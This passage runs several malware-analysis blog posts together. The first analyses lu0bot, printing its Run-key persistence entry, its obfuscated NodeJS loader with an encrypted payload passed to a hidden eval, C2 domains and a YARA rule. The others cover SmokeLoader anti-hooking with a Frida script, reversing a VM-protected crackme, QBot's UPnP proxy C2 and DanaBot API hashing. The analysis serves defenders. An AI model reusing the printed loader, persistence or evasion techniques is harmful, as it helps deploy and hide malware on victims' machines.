console_get_s0(ccb)                 # Console Step 0
console_get_s1(ccb)                 # Console Step 1
console_get_s2(ccb)                 # Console Step 2
console_get_s3(ccb)                 # Console Step 3
ads_test()                          # Checking if bot is using ADS streams
diskser_get_parse(dir,out)          # Parse Disk Serial command results
diskser_get(cb)                     # Get Disk Serial
prepare_dirfile_env(file,cb)        # Prepare Directory File Environment
prepare_file_env(file,cb)           # Prepare File Environment
hash_md5_var(val)                   # MD5 Checksum
getosinfo()                         # Get OS Information
rand(min, max)                      # Rand() \o/
ipctask_start()                     # IPC Task Start (Interprocess Communication)
ipctask_tick()                      # IPC Task Tick (Interprocess Communication)
baseinit_s0(cb)                     # Baseinit Step 0
baseinit_s1(cb)                     # Baseinit Step 1
baseinit_s2(cb)                     # Baseinit Step 2
baseinit_einfo_1_2(cb)              # Baseinit EINFO

Funky Persistence

The persistence is saved in the classic HKCU Run path

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Intel Management Engine Components 4194521778"="wscript.exe /t:30 /nologo /e:jscript \"C:\ProgramData\Intel\Intel(R) Management Engine Components\Intel MEC 750293792\" \"C:\ProgramData\Intel\Intel(R) Management Engine Components\" 2371015226"

Critical files are stored into a fake “Intel” folder in ProgramData.

ProgramData
    |-- Intel
        |--  Intel(R) Management Engine Components
            |--> Intel MEC 246919961
            |--> Intel MEC 750293792

Intel MEC 750293792

new ActiveXObject("WScript.shell").Run('"C:\ProgramData\DNTException\node.exe" "' + WScript.Arguments(0) + '\Intel MEC 246919961" ' + WScript.Arguments(1), 0, false);

Intel MEC 246919961

var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));
c = require("crypto").createDecipheriv("bf", c, c);
global["\x65\x76" + "\x61\x6c"](Buffer.concat([c.update(new Buffer("XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==", "\x62\x61\x73" + "\x65\x36\x34")), c.final()]).toString());

The workaround is pretty cool in the end

• WScript is launched after waiting for 30s
• JScript is calling “Intel MEC 750293792”
• “Intel MEC 750293792” is executing node.exe with arguments from the upper layer
• This setup is triggering the script “Intel MEC 246919961”
  • the Integer value from the upper layer(s) is part of the Blowfish key generation
  • global[“\x65\x76” + “\x61\x6c”] is in fact hiding an eval call
  • the encrypted buffer is storing the lu0bot NodeJS loader.

Ongoing troubleshooting in production ?

It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it’s intended or no, but it’s pretty cool to see about what the maldev is working.

It feels like a possible debugging scenario for understanding an issue.

Outdated NodeJS still living and kickin’

Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.

This build (0.10.48), is apparently from 2016, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn’t yet implemented at that time.

The issue mentioned above is “seen” when lu0bot is pushing and executing “bootstrap-base.js“. On build 0.10.XXX, “Buffer” wasn’t fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this “interesting”, because it means it will stay with a static NodeJS runtime environment that won’t change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).

Of course, We couldn’t deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness.

By looking into “bootstrap-base.js”, the module is apparently already on version “6.0.15”, but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.

What is the purpose of lu0bot ?

Well, to be honest, I don’t know… I hate making suggestions with too little information, it’s dangerous and too risky. I don’t want to lead people to the wrong path. It’s already complicated to explain something with no “public” records, even more, when it is in a programming language for that specific purpose. At this stage, It’s smarter to focus on what the code is able to do, and it is certain that it’s a decent data collector.

Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the eval function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :

• Backdoor ?
• Loader ?
• RAT ?
• Infostealer ?

All scenario are possible, but as i said before I could be right or totally wrong.

Where it could be seen ?

Currently, it seems that lu0bot is pushed by the well-known load seller Garbage Cleaner on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days.

Appendix

IoCs

IP

• 5.188.206[.]211

lu0bot loader C&C’s (HTTP)

• hr0[.]xyz
• hr1[.]xyz
• hr2[.]xyz
• hr3[.]xyz
• hr4[.]xyz
• hr5[.]xyz
• hr6[.]xyz
• hr7[.]xyz
• hr8[.]xyz
• hr9[.]xyz
• hr10[.]xyz

lu0bot main C&C’s (UDP side)

• lu00[.]xyz
• lu01[.]xyz
• lu02[.]xyz
• lu03[.]xyz

Yara

rule lu0bot_cpp_loader
{
    meta:
        author = "Fumik0_"
        description = "Detecting lu0bot C/C++ lightweight loader"

    strings:
        $hex_1 = {
            BE 00 20 40 00 
            89 F7 
            89 F0
            81 C7 ?? 01 00 00 
            81 2E ?? ?? ?? ?? 
            83 C6 04 
            39 FE 
            7C ?? 
            BB 00 00 00 00 
            53 50 
            E8 ?? ?? ?? ??
            E9 ?? ?? ?? ??
        }
    
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
        (filesize > 2KB and filesize < 5KB) and 
        any of them
    
}

IoCs

fce3d69b9c65945dcfbb74155f2186626f2ab404e38117f2222762361d7af6e2  Lu0bot loader.exe
c88e27f257faa0a092652e42ac433892c445fc25dd445f3c25a4354283f6cdbf  Lu0bot loader.exe
b8b28c71591d544333801d4673080140a049f8f5fbd9247ed28064dd80ef15ad  Lu0bot loader.exe
5a2264e42206d968cbcfff583853a0e0d4250f078a5e59b77b8def16a6902e3f  Lu0bot loader.exe
f186c2ac1ba8c2b9ab9b99c61ad3c831a6676728948ba6a7ab8345121baeaa92  Lu0bot loader.exe


8d8b195551febba6dfe6a516e0ed0f105e71cf8df08d144b45cdee13d06238ed  response1.bin
214f90bf2a6b8dffa8dbda4675d7f0cc7ff78901b3c3e03198e7767f294a297d  response2.bin
c406fbef1a91da8dd4da4673f7a1f39d4b00fe28ae086af619e522bc00328545  response3.bin

ccd7dcdf81f4acfe13b2b0d683b6889c60810173542fe1cda111f9f25051ef33  Intel MEC 246919961
e673547a445e2f959d1d9335873b3bfcbf2c4de2c9bf72e3798765ad623a9067  Intel MEC 750293792

Example of lu0bot interaction

ko
{ pid: 'XXXXXX',
  aid: '5.188.206.211 19584',
  q: XXXXXXXXXX, 
  t: XXXXXXXXXXXXX,
  lq: 
   { ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] },
  pk: 'BASE64_ENCRYPTED',
  k: <Buffer 3c 60 22 73 97 cc 76 22 bc eb b5 79 46 3d 05 9e>,
  mp: 
   { XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,i
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function] } },
  h: 
   { eval: [Function],
     bufwrite: [Function],
     bufread: [Function],
     filewrite: [Function],
     fileread: [Function] },
  mp_pget: [Function],
  mp_pget_ev: [Function],
  mp_new: [Function: mp_new],
  mp_get: [Function: mp_get],
  mp_count: [Function: mp_count],
  mp_loss: [Function: mp_loss],
  mp_del: [Function: mp_del],
  mp_dtchk: [Function: mp_dtchk],
  mp_dtsum: [Function: mp_dtsum],
  mp_pset: [Function: mp_pset],
  mp_opnew: [Function: mp_opnew],
  mp_opstat: [Function: mp_opstat] }
lq
{ ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] 
}

MITRE ATT&CK

• T1059
• T1482
• T1083
• T1046
• T1057
• T1518
• T1082
• T1614
• T1016
• T1124
• T1005
• T1008
• T1571

ELI5 summary

• lu0bot is a NodeJS Malware.
• Network communications are mixing TCP (loader) and UDP (main stage).
• It’s pushed at least with Garbage Cleaner.
• Its default setup seems to be a aggressive telemetry harvester.
• Due to its task manager architecture it is technically able to be everything.

Conclusion

Lu0bot is a curious piece of code which I could admit, even if I don’t like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity.

I have more questions than answers since then I started to put my hands on that one, but the thing that I’m sure, it’s active and harvesting data from bots that I have never seen before in such an aggressive way.

Special thanks: @benkow_

Hooking is a technique to intercept function calls/messages or events passed between software, or in this case malware. The technique can be used for malicious, as well as defensive cases.

Rootkits for example can hook API calls to make themselves invisible from analysis tools, while we as defenders can use hooking to gain more knowledge of malware or build detection mechanisms to protect customers.

Cybersecurity continues to be a game of cat and mouses, and while we try to build protections, blackhats will always try to bypass these protection mechanisms. Today I want to show you how SmokeLoader bypasses hooks on ntdll.dll and how Frida can be used to hook library functions.

The bypass was also already explained in a blog article from Checkpoint[1] written by Israel Gubi. It also covers a lot more than I do regarding Smokeloader, so it is definitely worth reading too.

Hooking with Frida

If you’ve read my previous blog articles about QBot, you are familiar with the process iteration and AV detection[3]. It iterates over processes and compares the process name with entries in a black list containing process names of common AV products. If one process name matches with an entry, QBot quits its execution.

Frida is a Dynamic Instrumentation Toolkit which can be used to write dynamic analysis scripts in high level languages, in this case JavaScript. If you want to know more about this technology, I advice you to read to visit this website[4] and read its documentation.

We can write a small Frida script to hook the lstrcmpiA function in order to investigate which process names are in the black list.

def main():
    """Main."""
    # argv[1] is our malware sample
    pid = frida.spawn(sys.argv[1])
    sess = frida.attach(pid)
    script = sess.create_script("""
        console.log("[+] Starting Frida script")
        var lstrcmpiA = ptr("0x76B43E8E")
        console.log("[+] Hooking lstrcmpiA at " + lstrcmpiA)
        Interceptor.attach(lstrcmpiA, {
            onEnter: function(args) {
                console.log("[+][+] Called strcmpiA");
                console.log("[+][+] Arg1Addr = " + args[0]);
                console.log("[+][+] Buffer");
                pretty_print(args[0], 0x30);
                console.log("[+][+] Arg2Addr = " + args[1]);
                console.log("[+][+] Buffer");
                pretty_print(args[1], 0x30);
            },
            onLeave: function(retval) {
                console.log("[+][+] Returned from strcmpiA")
            }
        });

        function pretty_print(addr, sz) {
            var bufptr = ptr(addr);
            var bytearr = Memory.readByteArray(bufptr, sz);
            console.log(bytearr);
        };

        """)
    script.load()
    frida.resume(pid)
    sys.stdin.read()
    sess.detach()

We attach to the malicious process and hook the lstrcmpiA function at static address. When analysing malware, we have (most of the time) the privilege to control and adjust our environment as much as we want. If you turn off ASLR and use snapshots, using Frida with static pointers is pretty convenient, because most functions will always have the same address. However, it’s also possible to calculate the addresses dynamically. lstrcmpiA has 2 arguments, which are both pointers of type LPSTR. So we just resolve the pointers, fill 0x30 bytes starting at pointer address into a ByteArray and print it.

Smokeloader’s Anti Hooking technique

So how does Smokeloader bypass hooks? Well it can do it atleast for the ntdll.dll library. During execution Smokeloader retrieves the Temp folder path and generates a random name. If a file with the generated name already exists in the temp folder, it is deleted with DeleteFileW.

Next the original ntdll.dll file is copied from system32 to the temp folder with the exact name it just generated. This leads to a copy of this mentioned library being placed in the temp directory.

Instead of loading the real ntdll.dll file, the copy is loaded into memory by calling LdrLoadDll.

Most AV vendors, as well as analysts probably implemented their hooks on ntdll.dll, so the references to the copied ntdll.dll file will be missed.

Smokeloader continues to call functions from this copied DLL, using for example function calls like NtQueryInformationProcess to detect wether a debugger is attached to it.

Final Words

While analysing SmokeLoader at work, I stumbled across this AntiHook mechanism, which I haven’t seen before, so I wanted to share it here :-).

I’ve also only scratched on the surface of what Frida is capable of. I might work on something more complex next time.

Overcoming obfuscation in binaries has always been an interesting topic for me, especially in combination with malware. Over the last weeks I’ve been playing around with Virtualised Code Protection in order to see how well I could handle it.

I decided to download a simple crack-me challenge which is obfuscated with this technique. It takes me some time to reverse everything, so there will be atleast 2 blog articles about my little project.

Virtualised Code Protection

Each architecture has a defined instruction set. By looking up the instructions to the corresponding bytes, we are able to translate these bytes into disassembly. The unit that actually executes these bytes is the CPU.

Virtual machine based code protection emulates a processor and thus switches our usual instruction set against a custom one. So in order to really understand what a virtual machine hardened binary is doing on a low level basis, we need to reverse the virtual machine first. This means we have to understand the custom instruction set.

I want to show you a practical example of how such a custom instruction can look like and be discovered.

Practical Example

Preparing the virtual machine

The challenge demands a serial key and a username. Both of them need certain values for the serial key to be valid. After entering a username and a serial key, the length of both of them are checked first.

Next At the bottom of this routine, we can already spot 2 interesting functions and operations which push the success or failure message onto the stack.

The function InitialiseVM is where it gets interesting for us. If you just look quickly through the disassembly in the figure below, you will see that there are multiple buffers allocated and static values written into an internal structure. Furthermore it is filled with function pointers. Each one of those functions represents a custom instruction. This routine is used to allocate the virtual address space our virtual machine will use for emulation, as well as a table to select custom instructions from.

Next is the CheckSerial function, which implements the virtual machine loop that emulates the virtual processor unit.

In the block at loc_4015E5 the function sub_4013DF is executed each iteration. Afterwards the byte which the address in ESI+0x7C points to is used to calculate the dynamic call at the end of the current block we are talking about (call dword ptr [esi+eax*4+80h]). That means that the byte influencing which function to enter, is deciding which custom instruction to execute. Before we look at how some of the opcodes are actually parsed here, let’s review how the virtualised address space of this VM looks like.

Executing custom instructions

The function sub_4013DF is called each iteration and reads bytes from the buffer which contains opcodes for custom instructions. The first one has a size of 5 bytes. Each of them is used by the virtual machine for translating these opcodes into a valid operation. At the moment of writing this article, I did not fully explore this function yet. However, I am confident that the last 2 bytes of an instruction are used to influence registers.

Upon returning from this function, the program takes the first byte of the ESI+0x7C structure and uses it to determine which function from the previously allocated function table is called. The first run returns EAX=3, so we are dealing with the custom instruction with instruction id 3.

Let’s jump into our first custom instruction.

The function sub_401271 has 31 XRefs and is used in every function from the function table. Before the function is called, the pointer to ESI+7C, our 0x24 buffer holding the custom opcodes are retrieved.0xC is added, that means we are pointing at the byte at ESI+7C+0xC, the 4th DWORD in this buffer.

The routine accesses the third byte of the current opcode and is responsible for determining the instruction type. The first four bits decide wether it is an instruction utilizing 2 registers, a memory read or moving an immediate value into a register. The second 4 bits influence the size of the byte that will be moved around. These 4 bits are zero extended into bytes.

Take a look at the figure below. The result of our InstrType function is saved in ebp+0x4. Next the memory address which ESI+0x20 points at is decreased and filled with the value we just computed. Doesn’t this look familiar ? The stack is also decreased if we put data onto it.

It seems that the custom instruction we just investigated is a custom PUSH instruction. ESI+0x20 points to the virtual stack that is emulated by this virtual machine. Since the pointer at ESI+0x4C is increased here after an instruction, it might hold the virtual instruction pointer.

So far we figured out what the first 3 opcodes do and we have an idea what the last 2 ones are responsible for. In order to give a proper answer on how they are used, it is needed to look at more than just 1 virtual instruction execution.

Conclusion

So it just took me a complete blog article to really explain how to reverse a single custom instruction of a binary hardened with Virtualised Code Protection ;-). As you can see, this kind of software protection is very powerful.

I will finish this challenge for sure and will write a second blog article about how I solved it.

UpnP is a set of networking protocols to permit network devices to discover each other’s presence on a network and establish services for various functionalities.
Too lazy to port forward yourself ? Just enable UpnP to automatically establish working configurations with devices! Dynamic device configuration like this makes our life more comfortable for sure. Sadly it also comes with many security issues.

In this blog article I am focusing on mentioning the stages of the UpnP protocol, a quick introduction to security issues regarding UpnP and how QBot abuses the UpnP protocol to exploit devices as proxy C2 servers.

UpnP in a nutshell

UpnP takes usage of common networking protocols and stacks HTTP, SOAP and XML on top of the IP protocol in order to provide a variety of functionalities for users. Without going to deep into how UpnP works in detail, the following figure is enough for the basics.

Some services a node with UpnP enabled can offer (it really depends on the device):

• Port forwarding
• Switching power on and off for light bulbs
• etc.

This is very high level of course. If you are interested in everything about UpnP, I recommend you to check out Wikipedia[1] for a high level introduction or read this report that goes more into detail[2].

For the following content of this blog article, only the first three stages are really relevant.

IoT Security and UpnP

Misconfiguration

Again, while it might be very convenient for customers to have devices autoconfigure themselves, it leads to huge security risks.

Many routers have UpnP enabled by default. Think of misconfigured IoT devices that sends a command to port forward a specific port, leading to a port exposure to the internet.

It is known that many IoT devices contain awful security flaws like default credentials for telnet. If devices like this have such misconfigurations and expose its telnet port to the outside, it probably takes about 5 minutes till some script kiddie adds this device to its botnet.

Exploitation

A blog post from TrendMicro[3] previously mentioned that many devices still use very old UpnP libraries which are not up to date to current security standards. This creates a larger attack surface for attackers. The newest one being CallStranger.

It is caused by the Callback header value in the UpnP SUBSCRIBE function. This field can be controlled by an attacker and enabled a Server Side Request Forgery like vulnerability. It can be used for the following malicious cases:

• Exfilitrate data
• Scan networks
• Force nodes to participate in DDoS attacks

I recommend you to visit the official domain[4] of this vulnerability, if you want gain more knowledge about this vulnerability.

UpnP abused by QBot

Security risks created by UpnP are not limited to the IoT landscape of course.

Another method to use UpnP for malicious cases is to install Proxy C2 servers on devices which have the mentioned protocol enabled, like QBot does for example. Let’s take a look at how this is done.

Diving into QBot’s UpnP proxy module

This technique was first discovered by McAfee[4] in 2017. First QBot starts scanning for devices which have UpnP enabled and is one of the following device types:

• urn:schemas-upnp-org:device:InternetGatewayDevice:1
• urn:schemas-upnp-org:service:WANIPConnection:1
• urn:schemas-upnp-org:service:WANPPPConnection:1
• upnp:rootdevice

If you are using INETSIM for malware analysis, you will probably realise that it does not offer any functionality to fake a SSDP or UpnP service in any way. However, we can use this python script[5] by user GrahamCobb which emulates a fake SSDP service and adjust the device description to suit our needs.

Once the devices are discovered, it sends requests for device descriptions and checks whether it deals with an internet gateway device. This can be determined by looking at the device description itself.

If it is an internet gateway device, it confirms whether a connection exists by sending a GetStatusInfo followed by retrieving the external ip address of this device by sending the GetExternalIPAddress command.

Next it tries to use the AddPortMapping command to add port forwarding rules to the device.

Afterwards all rules are removed again and the ports which were successfully port forwarded are sent as a HTTP-POST to the C2 server.
The carrier protocol is HTTPS and the response is sent in the following form:

# destination address
https://[HARDCODED_IP]:[HARDCODED_PORT]/bot_serv

# POST DATA form, successful port forwarded ports are appended to ports
cmd=1&msg=%s&ports=

From this point on, my analysis stopped for now. However, McAfee explains that a new binary is downloaded from the contacted C2 server, which re-adds the port forwarding rules and is responsible for the C2 communication. The blog article I’ve referenced above explains the whole functionality, so I recommend you to take a look at it, if you are interested in the next steps.

Final Words

As you can see UpnP contains many security flaws and can lead to a compromised network. If you have UpnP enabled in your company’s network, I really recommend to check whether this is really needed and turn it off if it is not necessary.

So exams at university are coming up next, it will probably take some time until I can get my hands on the QBot C2 protocol or the proxy binary. I do however, want to look at these two functionalities next.

You probably already guessed it from the title’s name, API Hashing is used to obfuscate a binary in order to hide API names from static analysis tools, hindering a reverse engineer to understand the malware’s functionality.
A first approach to get an idea of an executable’s functionalities is to more or less dive through the functions and look out for API calls. If, for example a CreateFileW function is called in a specific subroutine, it probably means that cross references or the routine itself implement some file handling functionalities. This won’t be possible if API Hashing is used.

Instead of calling the function directly, each API call has a corresponding checksum/hash. A hardcoded hash value might be retrieved and for each library function a checksum is computed. If the computed value matches the hash value we compare it against, we found our target.

In this case a reverse engineer needs to choose a different path to analyse the binary or deobfuscate it. This blog article will cover how the DanaBot banking trojan implements API Hashing and possibly the easiest way on how this can be defeated. The SHA256of the binary I am dissecting here is added at the end of this blog post.

Deep diving into DanaBot

DanaBot itself is a banking trojan and has been around since atleast 2018 and was first discovered by ESET[1]. It is worth mentioning that it implements most of its functionalities in plugins, which are downloaded from the C2 server. I will focus on deobfuscating API Hashing in the first stage of DanaBot, a DLL which is dropped and persisted on the system, used to download further plugins.

Reversing the ResolvFuncHash routine

At the beginning of the function, the EAX register stores a pointer to the DOS header of the Dynamic Linked Library which, contains the function the binary wants to call. The corresponding hash of the yet unknown API function is stored in the EDX register. The routine also contains a pile of junk instructions, obfuscating the actual use case for this function.

The hash is computed solely from the function name, so the first step is to get a pointer to all function names of the target library. Each DLL contains a table with all exported functions, which are loaded into memory. This Export Directory is always the first entry in the Data Directory array. The PE file format and its headers contain enough information to reach this mentioned directory by parsing header structures:

In the picture below, you can see an example of the mentioned junk instructions, as well as the critical block, which compares the computed hash with the checksum of the function we want to call. The routine iterates through all function names in the Export Directory and calculates the hash.
The loop breaks once the computed hash matches the value that is stored in the EDX register since the beginning of this routine.

Reversing the hashing algorithm

The hashing algorithm is fairly simple and nothing too complicated. Junk instructions and opaque predicates complicate the process of reversing this routine.

The algorithm takes the nth and the stringLength-n-1th char of the function name and stores them, as well as capitalised versions into memory, resulting in a total of 4 characters. Each one of those characters is XOR'd with the string length. Finally they are multiplied and the values ​​are added up each time the loop is run and result in the hash value.

def get_hash(funcname):
    """Calculate the hash value for function name. Return hash value as integer"""
    strlen = len(funcname)
    # if the length is even, we encounter a different behaviour
    i = 0
    hashv = 0x0
    while i < strlen:
        if i == (strlen - 1):
            ch1 = funcname[0]
        else:
            ch1 = funcname[strlen - 2 - i]
        # init first character and capitalize it
        ch = funcname[i]
        uc_ch = ch.capitalize()
        # Capitalize the second character
        uc_ch1 = ch1.capitalize()
        # Calculate all XOR values
        xor_ch = ord(ch) ^ strlen
        xor_uc_ch = ord(uc_ch) ^ strlen
        xor_ch1 = ord(ch1) ^ strlen
        xor_uc_ch1 = ord(uc_ch1) ^ strlen
        # do the multiplication and XOR again with upper case character1
        hashv += ((xor_ch * xor_ch1) * xor_uc_ch)
        hashv = hashv ^ xor_uc_ch1
        i += 1
    return hashv

A python script for calculating the hash for a given function name is also uploaded on my github page[2] and free for everyone to use. I’ve also uploaded a text file with hashes for exported functions of commonly used DLLs.

Deobfuscation by Commenting

So now that we cracked the algorithm, we want to update our disassembly to know which hash value represents which function. As I’ve already mentioned, we want to focus on simplicity. The easiest way is to compute hash values for exported functions of commonly used DLLs and write them into a file.

With this file, we can write an IdaPython script to comment the library function name next to the Api Hashing call. Luckily the Api Hashing function is always called with the same pattern:

• Move the wanted hash value into the EDX register
• Move a DWORD into EAX register

